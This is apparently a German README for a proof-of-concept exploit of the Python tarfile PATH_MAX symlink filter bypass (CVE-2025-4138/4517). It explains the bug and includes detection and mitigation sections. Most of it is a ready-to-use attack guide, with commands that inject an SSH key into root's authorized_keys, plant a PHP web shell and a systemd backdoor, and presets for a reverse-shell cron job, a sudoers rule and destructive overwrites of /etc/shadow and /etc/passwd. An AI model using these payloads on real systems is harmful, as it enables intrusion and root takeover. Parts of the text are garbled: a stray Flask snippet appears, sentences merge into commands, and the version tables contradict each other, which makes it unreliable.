
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass
Beliebiger Dateischreibzugriff durch Extraktion mit filter="data" / filter="tar"
Eine kritische Schwachstelle im tarfile-Modul von Python ermöglicht es einem Angreifer, Extraktionsfilter ("data" und "tar") zu umgehen und beliebige Dateien außerhalb des vorgesehenen Extraktionsverzeichnisses zu schreiben. Wenn ein privilegierter Prozess (z. B. ein Root-Level-Backup-Skript, eine CI/CD-Pipeline oder ein Paketinstallationsprogramm) ein vom Angreifer kontrolliertes Tar-Archiv mit dem vermeintlich sicheren Parameter filter="data" extrahiert, erreicht dieser Exploit vollständigen beliebigen Dateischreibzugriff als dieser privilegierte Benutzer – typischerweise mit Eskalation zu Root.
Die Ursache ist eine Verhaltenseigentümlichkeit von os.path.realpath(): Es beendet die Auflösung von Symlinks stillschweigend, sobald der vollständig aufgelöste Pfad PATH_MAX (4096 Bytes unter Linux, 1024 unter macOS) überschreitet. Der tarfile-Filter verlässt sich für Sicherheitsprüfungen auf realpath(), aber der Kernel löst Symlinks während der Extraktion unabhängig auf – dies erzeugt eine TOCTOU-Lücke (Time-of-Check-to-Time-of-Use), die das Verlassen des Verzeichnisses ermöglicht.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## Betroffene Versionen
| Python-Zweig | Verwundbarer Bereich | Behobene Version | Status |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Behoben |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Behoben |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Behoben |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Behoben |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Behoben |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ Ende der Lebensdauer |
| 3.14+ | Standardfilter auf `"data"` geändert | Aktuelle prüfen | ⚠️ Höheres Risiko |
> **Hinweis:** Python 3.14+ hat den Standardwert des `filter`-Parameters von keiner Filterung zu `"data"` geändert, was bedeutet, dass Anwendungen, die zuvor keinen Filter hatten (und daher bereits unsicher waren), jetzt standardmäßig den angreifbaren Filter verwenden.
---
## Betroffenes Codemuster
Jede Anwendung, die dies auf einer angreifbaren Python-Version tut, ist ausnutzbar:
```python
def create_app():
app = Flask(__name__)
app.config['CACHE_TYPE'] = 'flask_caching.backends.RedisCache'
app.config['CACHE_REDIS_HOST'] = config_source
cache = Cache(app)
return app
``````python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
Häufige reale Vorkommen:
.tar-Distributionen verarbeitengit clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**Anforderungen:** Python 3.6+ (für die Archivierung — das **Ziel** muss eine verwundbare Version ausführen)
---
## Verwendung
### Schnellstart — SSH Key Injection```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
Wichtig: Der Exploit erstellt automatisch Zwischenverzeichnisse (z.B.
/root/.ssh/) im tar-Archiv. Wenn das Zielverzeichnis auf dem Dateisystem nicht existiert, erstelltextractall()es während der Extraktion.
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### Benutzerdefiniertes Ziel
Schreibe beliebigen Inhalt in einen beliebigen absoluten Pfad auf dem Ziel-Dateisystem:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
Testen Sie, ob ein System verwundbar ist, ohne sensible Dateien zu berühren:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### Schneller Versionscheck```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()Unter Linux ist PATH_MAX als 4096 Bytes definiert. Unter macOS sind es 1024 Bytes. Wenn os.path.realpath() einen Pfad Komponente für Komponente auflöst und der akkumulierte aufgelöste Pfad dieses Limit überschreitet, stoppt es stillschweigend die Auflösung der verbleibenden Komponenten und hängt sie als Literal-Strings an.```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
Dies ist ein **dokumentiertes** Verhalten von `realpath()`, aber die Implementierung des tarfile-Filters hat dies nicht berücksichtigt.
### Aufbau der Symlink-Kette
Jede Ebene der Kette besteht aus:
| Eintrag | Typ | Namenslänge | Zweck |
|:--|:--|:--|:--|
| Verzeichnis | `DIRTYPE` | 247 Zeichen (Linux) / 55 Zeichen (macOS) | Langer Name bläht den aufgelösten Pfad auf |
| Symlink | `SYMTYPE` | 1 Zeichen (`a`, `b`, …, `p`) | Kurzer Alias für das lange Verzeichnis |
Nach 16 Ebenen:
| Metrik | Wert |
|:--|:--|
| **Kurzer Pfad** (über Symlinks) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 Zeichen |
| **Aufgelöster Pfad** (über Verzeichnisse) | `ddd…/ddd…/ddd…/…` ≈ **3968 Zeichen** |
| **PATH_MAX** | 4096 Bytes |
| **Verbleibendes Budget** | ~128 Bytes — nicht genug für die Traversal-Payload |
### Mechanismus zur Filterumgehung
Der `data_filter` im tarfile-Modul von Python führt diese Prüfung durch:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
Die Schwachstelle:
realpath() erhält: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() löst den a/b/c/.../p-Teil durch die Symlink-Kette auf → 3968+ Bytes../../../../root/.ssh wird wörtlich angehängt/extract/ddd…(3968 Zeichen)…/../../../../root/.ssh/extract/ → bestanden ✓../ normal auf → entkommt nach /rootescape/.ssh wird als Verzeichnis extrahiert → erstellt /root/.ssh/ (Modus 0700)┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## Reale Angriffsszenarien
### 1. Privilegierte Backup-Wiederherstellung
Ein Backup-Skript, das als Root läuft, extrahiert vom Benutzer bereitgestellte tar-Archive:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
Auswirkung: Angreifer liefert ein bösartiges Backup → schreibt SSH-Schlüssel in /root/.ssh/authorized_keys → erhält Root-Shell.
tar.extractall(path=workspace_dir, filter="data")
**Auswirkung:** Bösartiges Artefakt entkommt dem Arbeitsbereich → überschreibt CI-Konfiguration → erreicht Codeausführung auf der Build-Infrastruktur.
### 3. Webanwendungs-Upload-Verarbeitung
Eine Web-App akzeptiert und extrahiert Tar-Uploads:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
Auswirkungen: Entfernter Angreifer lädt manipulierte tar-Datei hoch → schreibt Web-Shell in Dokumentenroot → erreicht RCE.
Python-Paketmanager extrahieren Quellverteilungen:```python
tar.extractall(path=build_dir, filter="data")
**Auswirkung:** Bösartiges PyPI-Paket entkommt dem Build-Verzeichnis → ändert Systemdateien.
---
## Erkennung
### Indikatoren einer Kompromittierung
Überwachen Sie auf diese Muster, die auf eine Ausnutzung hindeuten können:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## Gegenmaßnahmen
### 1. Python aktualisieren (Empfohlen)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
Wenn ein sofortiges Upgrade nicht möglich ist:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. Sandbox-Extraktion```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## Verwandte CVEs
| CVE | Beschreibung | Schweregrad |
|:--|:--|:--|
| **CVE-2025-4138** | Symlink-Zielfilter-Umgehung durch PATH_MAX-Überlauf | Kritisch |
| **CVE-2025-4517** | Beliebiger Dateischreibvorgang durch realpath-Überlauf (gleiche Ursache) | Kritisch |
| **CVE-2025-4330** | Symlink-Pfadtraversierung unter Umgehung von Extraktionsfiltern | Hoch |
| **CVE-2024-12718** | Änderung von Dateimetadaten außerhalb des Extraktionsverzeichnisses | Hoch |
| **CVE-2025-4435** | Gefilterte Dateien werden trotzdem extrahiert, wenn `errorlevel=0` | Mittel |
| **CVE-2007-4559** | Ursprüngliche Pfadtraversierung von tarfile (ohne Filter-Ära) | Hoch |
Alle wurden in [CPython Issue #135034](https://github.com/python/cpython/issues/135034) und [PR #135037](https://github.com/python/cpython/pull/135037) behoben.
---
## Zeitleiste
| Datum | Ereignis |
|:--|:--|
| 2025-04-30 | Schwachstelle an das Python-Sicherheitsantwortteam gemeldet |
| 2025-06-02 | Öffentliches Issue eröffnet — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Fix eingefügt — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSF Sicherheitsankündigung](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) veröffentlicht |
| 2025-06-03 | Gepatchte Versionen: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR-Beraterhinweis [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google-Sicherheitsforschungsberaterhinweis [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Vollständige Offenlegung |
---
## Referenzen
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google-Sicherheitsforschungsberaterhinweis & Original-PoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Upstream-Fehlerbericht
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Fix-Commit
- [PSF Sicherheitsankündigung](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Offizieller Beraterhinweis
- [Seth Larsons Minderungs-Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Schnelles Minderungsskript
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python-Dokumentation zu Extraktionsfiltern von `tarfile`](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)`-Handbuchseite](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAX-Verhalten
---
## Danksagungen
- **Schwachstellenentdeckung:** [Caleb Brown](https://github.com/calebbrown) — Google-Sicherheitsforschung
- **Patch-Autoren:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Dieser PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## Haftungsausschluss
> **⚠️ Dieses Tool wird ausschließlich für autorisierte Sicherheitstests, Forschung und Bildungszwecke bereitgestellt.**
>
> Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA), dem Computer Misuse Act und gleichwertigen Gesetzen weltweit illegal. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.
>
> Der Autor übernimmt keine Haftung für den Missbrauch dieser Software. Durch die Nutzung dieses Tools stimmen Sie zu, dass Sie allein für Ihre Handlungen verantwortlich sind und dass Sie alle geltenden Gesetze einhalten.
---
**Tags:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## Lizenz
Dieses Projekt ist unter der [MIT-Lizenz](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/main/LICENSE) lizenziert.
---
<p align="center">
<sub>
🔐 Wenn Sie dies nützlich finden, erwägen Sie, dem Repository einen Stern zu geben<br>
📫 Bei Fragen zur verantwortungsvollen Offenlegung öffnen Sie ein Issue oder kontaktieren Sie uns über GitHub
</sub>
</p>
| Feld | Wert |
|---|
| CVE-IDs | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis |
| Schwachstellentyp | Pfad-Traversal via Symlink / Filterumgehung |
| Auswirkung | Beliebiger Dateischreibzugriff → Privilegieneskalation, Sandbox-Escape, Datenmanipulation |
| Angriffsvektor | Ausliefern eines schädlichen Tar-Archivs an jede Anwendung, die tarfile.extractall() mit Filtern verwendet |
| Betroffen | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| Behoben in | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| Patch | CPython PR #135037 |
| Advisory | GHSA-hgqp-3mmf-7h8f |
| Melder | Caleb Brown — Google Sicherheitsforschung |
| Voreinstellung | Zieldatei | Beschreibung | --extra Parameter |
|---|
ssh-key | /root/.ssh/authorized_keys | SSH-öffentlichen Schlüssel für Root-Login einfügen | — |
cron | /etc/cron.d/pwned | Root-Reverse-Shell-Cron-Job einrichten | LHOST IP address |
sudoers | /etc/sudoers.d/pwned | NOPASSWD-Sudo-Regel für einen Benutzer hinzufügen | Username |
shadow | /etc/shadow | Shadow-Datei überschreiben (⚠️ zerstörerisch) | — |
passwd | /etc/passwd | Passwd-Datei überschreiben (⚠️ zerstörerisch) | — |
escape/.ssh/authorized_keys → schreibt nach /root/.ssh/authorized_keys